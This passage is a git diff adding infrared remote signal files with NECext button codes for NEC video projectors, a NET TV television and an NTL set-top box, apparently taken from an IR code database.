00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir new file mode 100644 index 000000000..20bb6fde3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir @@ -0,0 +1,770 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 06 00 00 00 +# +name: SET_UP_(ON_SCRN_MGR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 06 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: ZOOM_W +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 09 00 00 00 +# +name: ZOOM_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 09 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 09 00 00 00 +# +name: ZOOM_T +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0A 00 00 00 +# +name: ZOOM_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0A 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0A 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0B 00 00 00 +# +name: FOCUS_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0B 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0C 00 00 00 +# +name: FOCUS_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0C 00 00 00 +# +name: CONTRAST_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0D 00 00 00 +# +name: CONTRAST_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0E 00 00 00 +# +name: BRIGHT_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0F 00 00 00 +# +name: BRIGHT_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 10 00 00 00 +# +name: DISPLAY_MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 11 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 16 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: MENU_L-CLICK_(UNDER) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: 1_(ABC) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 18 00 00 00 +# +name: 2_(DEF) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 19 00 00 00 +# +name: 3_(GHI) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1A 00 00 00 +# +name: 4_(JKL) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1B 00 00 00 +# +name: 5_(MNO) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1C 00 00 00 +# +name: 6_(PQR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1D 00 00 00 +# +name: 7_(STU) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1E 00 00 00 +# +name: 8_(VWX) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 1F 00 00 00 +# +name: POSITION_MOUSE_NE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 21 00 00 00 +# +name: POSITION_MOUSE_NW +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 22 00 00 00 +# +name: POSITION_MOUSE_SE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 23 00 00 00 +# +name: POSITION_MOUSE_WEST +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 24 00 00 00 +# +name: POSITION_(OFF) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 25 00 00 00 +# +name: 9_(YZ-) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 41 00 00 00 +# +name: FOCUS_PAT. +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 42 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 43 00 00 00 +# +name: KEY_LOCK +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 44 00 00 00 +# +name: MUTE_AUDIO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 45 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: MENU_(ON_SCREEN_MGR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: MUTE_PICTURE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: PIC-MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4C 00 00 00 +# +name: EXPAND +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4D 00 00 00 +# +name: RGB_MODE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4D 00 00 00 +# +name: >+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: +_(ON_SCREEN_MGR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: MENU_MOUSE_EAST_(+) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: <- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: -_(ON_SCREEN_MGR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: MENU_MOUSE_WEST_(-) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5E 00 00 00 +# +name: POSITION_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5E 00 00 00 +# +name: MENU_MOUSE_NORTH +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5E 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5F 00 00 00 +# +name: POSITION_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5F 00 00 00 +# +name: MENU_MOUSE_SOUTH +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5F 00 00 00 +# +name: CTL_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 83 00 00 00 +# +name: CTL_RGB +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 84 00 00 00 +# +name: POSITION_> +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 84 00 00 00 +# +name: CTL_S-VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 85 00 00 00 +# +name: POSITION_< +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 85 00 00 00 +# +name: CTL_SET_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 86 00 00 00 +# +name: 2X/4X +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 87 00 00 00 +# +name: CTL_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 88 00 00 00 +# +name: CTL_ZOOM_W +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: MAGNIFY_REDUCE_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: CTL_ZOOM_T +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: MAGNIFY_REDUCE_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: CTL_FOCUS_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8B 00 00 00 +# +name: CTL_FOCUS_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8C 00 00 00 +# +name: CTL_CONTRAST_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8D 00 00 00 +# +name: CTL_CONTRAST_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8E 00 00 00 +# +name: CTL_BRIGHT_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8F 00 00 00 +# +name: CTL_BRIGHT_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 90 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 91 00 00 00 +# +name: CTL_CLEAR +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 95 00 00 00 +# +name: CTL_DISPLAY +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 96 00 00 00 +# +name: CTL_ENTER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 97 00 00 00 +# +name: CTL_1_(ABC) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 98 00 00 00 +# +name: CTL_2_(DEF) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 99 00 00 00 +# +name: CTL_3_(GHI) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9A 00 00 00 +# +name: CTL_4_(JKL) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9B 00 00 00 +# +name: CTL_5_(MNO) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9C 00 00 00 +# +name: CTL_6_(PQR) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9D 00 00 00 +# +name: CTL_7_(STU) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9E 00 00 00 +# +name: CTL_8_(VWX) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 9F 00 00 00 +# +name: CTL_9_(YZ-) +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C0 00 00 00 +# +name: CTL_0 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C1 00 00 00 +# +name: CTL_FOCUS_PAT. +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C2 00 00 00 +# +name: CTL_NORMAL +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C3 00 00 00 +# +name: CTL_KEY_LOCK +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C4 00 00 00 +# +name: CTL_MUTE_AUDIO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C5 00 00 00 +# +name: CTL_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 +# +name: CTL_MUTE_PICTURE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C7 00 00 00 +# +name: CTL_VOLUME_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C8 00 00 00 +# +name: CTL_VOLUME_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C9 00 00 00 +# +name: CTL_EXPAND +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: CD 00 00 00 +# +name: CTL_>+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DC 00 00 00 +# +name: POSITION_MOUSE_EAST +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DC 00 00 00 +# +name: CTL_<- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DD 00 00 00 +# +name: POSITION_MOUSE_SW +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DD 00 00 00 +# +name: CTL_^ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DE 00 00 00 +# +name: POSITION_MOUSE_NORTH +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DE 00 00 00 +# +name: CTL_V +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DF 00 00 00 +# +name: POSITION_MOUSE_SOUTH +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir new file mode 100644 index 000000000..9d824c864 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir @@ -0,0 +1,518 @@ +Filetype: IR signals file +Version: 1 +# +name: R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 06 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0B 00 00 00 +# +name: COARSE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0E 00 00 00 +# +name: FINE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0F 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 12 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 +# +name: STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 15 00 00 00 +# +name: STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 17 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: 1_(ABC) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: 2_(DEF) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: 3_(GHI) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1A 00 00 00 +# +name: 4_(JKL) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1B 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: 5_(MNO) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: 6_(PQR) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: RGB3 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: 7_(STU) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: 8_(VWX) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1F 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: 9_(YZ/) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: BEAM +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: 10_*.. +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 42 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 43 00 00 00 +# +name: SOUND_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 45 00 00 00 +# +name: PICTURE_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 46 00 00 00 +# +name: PICTURE_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: COLOR_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 48 00 00 00 +# +name: COLOR_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 49 00 00 00 +# +name: BRIGHT_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4A 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4A 00 00 00 +# +name: BRIGHT_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4B 00 00 00 +# +name: TINT_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4C 00 00 00 +# +name: TINT_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4D 00 00 00 +# +name: SHARPNESS_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4E 00 00 00 +# +name: SHARPNESS_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4F 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5B 00 00 00 +# +name: ^_(UP) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: V_(DOWN) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: >_(RIGHT) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: <_(LEFT) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 +# +name: CTL_R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 80 00 00 00 +# +name: CTL_B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 82 00 00 00 +# +name: CTL_OPERATE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 86 00 00 00 +# +name: CTL_DISPLAY +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 87 00 00 00 +# +name: CTL_POWER_ON +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 88 00 00 00 +# +name: CTL_END +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 89 00 00 00 +# +name: CTL_POWER_OFF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 94 00 00 00 +# +name: CTL_STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 95 00 00 00 +# +name: CTL_ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 97 00 00 00 +# +name: CTL_1_(ABC) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 98 00 00 00 +# +name: CTL_2_(DEF) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 99 00 00 00 +# +name: CTL_3_(GHI) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9A 00 00 00 +# +name: CTL_4_(JKL) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9B 00 00 00 +# +name: CTL_5_(MNO) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9C 00 00 00 +# +name: CTL_6_(PQR) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9D 00 00 00 +# +name: CTL_7_(STU) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9E 00 00 00 +# +name: CTL_8_(VWX) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 9F 00 00 00 +# +name: CTL_9_(YZ/) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: C0 00 00 00 +# +name: CTL_10_(*..) +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: C1 00 00 00 +# +name: CTL_SOUND_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: C5 00 00 00 +# +name: CTL_PICTURE_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: C7 00 00 00 +# +name: CTL_CAPTION +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: CA 00 00 00 +# +name: CTL_NORMAL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: DB 00 00 00 +# +name: CTL_^ +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: DC 00 00 00 +# +name: CTL_V +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: DD 00 00 00 +# +name: CTL_> +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: DE 00 00 00 +# +name: CTL_< +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir new file mode 100644 index 000000000..859196f20 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: CH/TIME_SET_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: CH/TIME_SET_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: TV/AV(VGA) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: FUNCTION_LEVEL_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: FUNCTION_LEVEL_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir new file mode 100644 index 000000000..a51ae1bba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0E 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: Interactive +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU 